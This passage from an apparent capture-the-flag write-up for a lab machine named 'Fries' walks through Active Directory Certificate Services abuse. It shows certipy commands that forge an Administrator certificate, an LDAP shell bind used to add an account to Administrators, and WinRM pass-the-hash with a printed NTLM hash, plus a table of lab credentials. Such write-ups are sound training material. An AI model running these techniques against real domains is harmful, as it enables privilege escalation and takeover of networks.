certipy-ad auth \ -pfx administrator.pfx \ -dc-ip 192.168.100.1 \ -username Administrator \ -domain fries.htb[*] Certificate identities:[*] SAN UPN: 'administrator@fries.htb'[*] SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'[*] Security Extension SID: 'S-1-5-21-858338346-3861030516-3975240472-3601'[-] Object SID mismatch between certificate and user 'administrator'Trying to use it as svc_infra instead produced a UPN mismatch.
certipy-ad auth \ -pfx administrator.pfx \ -dc-ip 192.168.100.1 \ -username svc_infra \ -domain fries.htb[-] Name mismatch between certificate and user 'svc_infra'The cause was that the certificate contained two different SIDs.
SAN UPN: administrator@fries.htbSAN URL SID: ...-500 # AdministratorSecurity Extension SID: ...-3601 # svc_infraIn Kerberos PKINIT, the KDC strictly evaluated the Security Extension SID, so this PFX could not obtain an Administrator TGT.
LDAP Shell
Section titled “LDAP Shell”The same PFX succeeded with -ldap-shell.
certipy-ad auth \ -pfx administrator.pfx \ -dc-ip 192.168.100.1 \ -username Administrator \ -domain fries.htb \ -ldap-shell[*] Connecting to 'ldaps://192.168.100.1:636'[*] Authenticated to '192.168.100.1' as: 'u:FRIES\\Administrator'Type help for list of commands
# whoamiu:FRIES\AdministratorOrdinary certipy-ad auth requests a TGT from the KDC through Kerberos PKINIT, while -ldap-shell uses LDAPS Schannel client certificate authentication. In this environment, the LDAPS certificate mapping followed the Administrator SAN UPN / SAN URL SID, allowing a bind as FRIES\Administrator. This did not yield a TGT or NT hash, but the Administrator LDAP bind permitted changes to AD objects.
This distinction matters in practice. A PFX bundles a certificate and private key, but Kerberos PKINIT and LDAPS Schannel client certificate binding are evaluated by different components and mapping rules. PKINIT is a KDC operation that issues a TGT and strictly checks SID consistency; LDAPS binding is handled by the LDAP server’s certificate mapping. Only the latter worked as Administrator here.
I checked the group first.
# get_user_groups administratorCN=Administrators,CN=Builtin,DC=fries,DC=htbCN=Schema Admins,CN=Users,DC=fries,DC=htbCN=Enterprise Admins,CN=Users,DC=fries,DC=htbCN=Domain Admins,CN=Users,DC=fries,DC=htbCN=Group Policy Creator Owners,CN=Users,DC=fries,DC=htb
# get_user_groups gMSA_CA_prod$CN=Remote Management Users,CN=Builtin,DC=fries,DC=htbBecause Administrator is a username, using it as the group name failed.
# add_user_to_group svc_infra AdministratorLDAPObjectClassViolationResult - 65 - objectClassViolationI correctly added gMSA_CA_prod$ to Administrators. gMSA_CA_prod$ was already in Remote Management Users, making WinRM access straightforward.
# add_user_to_group gMSA_CA_prod$ AdministratorsAdding user: gMSA_CA_prod to group Administrators result: OK
# get_user_groups gMSA_CA_prod$CN=Administrators,CN=Builtin,DC=fries,DC=htbCN=Remote Management Users,CN=Builtin,DC=fries,DC=htbExisting WinRM sessions do not inherit new group membership, so I logged in again.
uv run evil-winrm-py \ -i 192.168.100.1 \ -u 'gMSA_CA_prod$' \ -H 5710cd97225e920cdc6badc919fc8c51I checked the privileges.
whoami /privcd ../../Administratordircd Desktopdirtype root.txtSeDebugPrivilege Debug programs EnabledSeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories Enabled
Directory: C:\Users\Administrator\Desktoproot.txtuser.txt
[REDACTED]Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”The initial credentials failed for AD, SMB, SSH, and WinRM. I treated them as web application credentials because they worked only for Gitea and pgAdmin.
Friesf00Ds2025!! failed over SMB and worked only for svc over SSH. The pgAdmin container’s default password had been reused for an Ubuntu local user.
A Docker client certificate with CN=pwn.com passed TLS but failed to match the authz-broker policy. Reading policy.json and recreating it with CN=root was necessary.
With MachineAccountQuota: 0, creating an arbitrary machine account for the Machine template did not work.
The ordinary ESC7 SubCA issuance path stalled. gMSA_CA_prod$ held ManageCa and could add an officer and enable SubCA, but issuing or resubmitting the denied request returned Access denied. The CA ACL had a Deny on ManageCertificates, which blocked the path in practice.
After ESC6, administrator.pfx was issued, but Kerberos PKINIT returned Object SID mismatch because the Security Extension SID belonged to svc_infra. The success was an LDAP bind through LDAPS Schannel, not a TGT.
The LDAP shell command add_user_to_group svc_infra Administrator failed because Administrator resolved to a user, not a group. The correct group was Administrators.
Cleanup Notes
Section titled “Cleanup Notes”To restore the CA settings, disable EDITF_ATTRIBUTESUBJECTALTNAME2 and restart certsvc.
$ConfigString = "DC01.fries.htb\fries-DC01-CA"$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000$CertAdmin = New-Object -ComObject CertificateAuthority.Admin$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")$CertAdmin.SetConfigEntry( $ConfigString, $Node, "EditFlags", ($Flags -band (-bnot $EDITF_ATTRIBUTESUBJECTALTNAME2)))Restart-Service certsvcRemove the added group membership.
Remove-ADGroupMember -Identity "Administrators" -Members "gMSA_CA_prod$" -Confirm:$falseClean up the attacking machine’s NFS mount and temporary files.
sudo umount /mnt/friesrm -f client-key.pem client.csr client-cert.pem ca.pem ca-key.pem ca.srl administrator.pfx 43.keyrm -rf certsIf time synchronization was stopped, restore it.
sudo systemctl start systemd-timesyncdStop the Ligolo agent and proxy, and remove the created tun interface.
sudo ip link delete ligoloCredentials and Artifacts
Section titled “Credentials and Artifacts”| Artifact | Value |
|---|---|
| Initial Web Credential | d.cooper@fries.htb:D4LE11maan!! |
| PostgreSQL URL | postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db |
| pgAdmin Default Password | Friesf00Ds2025!! |
| SSH Credential | svc:Friesf00Ds2025!! |
| PWM Config Password | rockon! |
| LDAP Proxy Credential | svc_infra:m6tneOMAh5p0wQ0d |
| gMSA Hash | gMSA_CA_prod$:5710cd97225e920cdc6badc919fc8c51 |
| CA | fries-DC01-CA |
| Generated Certificate | administrator.pfx |
| Docker CA Files | ca.pem, ca-key.pem |
| User Flag Path | /root/user.txt on Ubuntu host mount |
| Root Flag Path | C:\Users\Administrator\Desktop\root.txt |
Required Knowledge
Section titled “Required Knowledge”How to recover a deleted file from Git history.
The basic steps for pgAdmin authenticated RCE and inspecting environment variables or configuration files inside a container.
Internal routing with Ligolo-ng and specifying internal IPs in a NAT environment.
NFS UID/GID permissions and SSSD resolution of an AD group to a Linux GID.
The relationship among Docker daemon mTLS, client certificate CNs, and authorization plugin policies.
PWM configuration format, bcrypt hash cracking, and AES decryption of ENC-PW:.
Finding ReadGMSAPassword with BloodHound/RustHound and extracting a gMSA NTLM hash with NetExec.
AD CS ESC7, ESC6, EDITF_ATTRIBUTESUBJECTALTNAME2, CA service restarts, and template Enroll rights.
Strong certificate mapping after KB5014754 and the difference between Kerberos PKINIT and LDAPS Schannel client certificate authentication.
Final Thought
Section titled “Final Thought”Fries was not a box solved by finding one vulnerability; it required accumulating rights and information across several administrative boundaries. On the external IP, Ubuntu and Windows DC services appeared together, making the setup easy to misread. The starting credentials also failed for AD and worked only in Gitea and pgAdmin. That made it important to distinguish which authentication system accepted a given set of credentials.
The path to the user flag moved from the web application to a container, then the host, then the internal network. Gitea’s historical .env, pgAdmin authenticated RCE, container environment password reuse, NFS UID/GID permissions, and Docker mTLS and authorization plugins were each a small, separate weakness. Together, they led to root on Ubuntu. In particular, obtaining the Docker CA private key alone was insufficient: I also had to read the authz-broker policy and create a certificate with CN=root. Missing the separation between authentication and authorization would have stopped the path there.
The root flag path centered on AD CS, but it did not end with a simple ESC7 exploit. gMSA_CA_prod$’s ManageCa looked powerful, yet template Enroll rights, a Deny in the CA ACL, request disposition, and the actual evaluation of manager/officer operations all mattered. Enabling SubCA and creating a denied request was possible, but issue/resubmit returned Access denied, so the usual ESC7 procedure failed. Certipy’s Vulnerabilities: ESC7 was a strong indicator of a possible attack, not a guarantee that the wiki procedure would work to completion.
The eventual breakthrough was using ManageCa to enable EDITF_ATTRIBUTESUBJECTALTNAME2 in the CA policy, creating an ESC6-like state. Even here, certutil -setreg failed for lack of administrator rights, while SetConfigEntry through the CertificateAuthority.Admin COM object worked. Windows management operations can require different permissions and behave differently depending on the API and execution context. Recording which tool makes a given change helps when reproducing the path.
The most interesting point was how administrator.pfx behaved. The certificate was issued with Administrator in the SAN UPN and SAN URL SID, but the Security Extension SID contained the requester’s svc_infra SID. The KDC therefore rejected Kerberos PKINIT with a SID mismatch. This was a correct sign that strong certificate mapping was enforced, not merely an unexplained failure. Yet certipy-ad auth -ldap-shell used LDAPS Schannel client certificate authentication and could bind as Administrator here. The same PFX was evaluated by different components and mapping rules in PKINIT and LDAPS Schannel; that distinction is central to this box.
Finally, I used Administrator rights from the LDAP bind to add gMSA_CA_prod$ to Administrators and had to log in again through WinRM. The existing session did not receive the new group membership; the procedure included a new token after login. Names such as Administrator and Administrators are also easy to confuse, so in LDAP shell check whether a target resolves to a user or group.
Overall, Fries was about interpreting enumeration results. Git history, environment variables, numeric NFS GIDs, Docker policy, BloodHound edges, Certipy CA/template output, and SID mismatch errors each informed the next decision. Although the chain was long, it can be reproduced by carefully following how each artifact leads to the next step. Treating errors as mere failures would make it easy to lose direction at the ESC7 Access denied or PKINIT Object SID mismatch points.

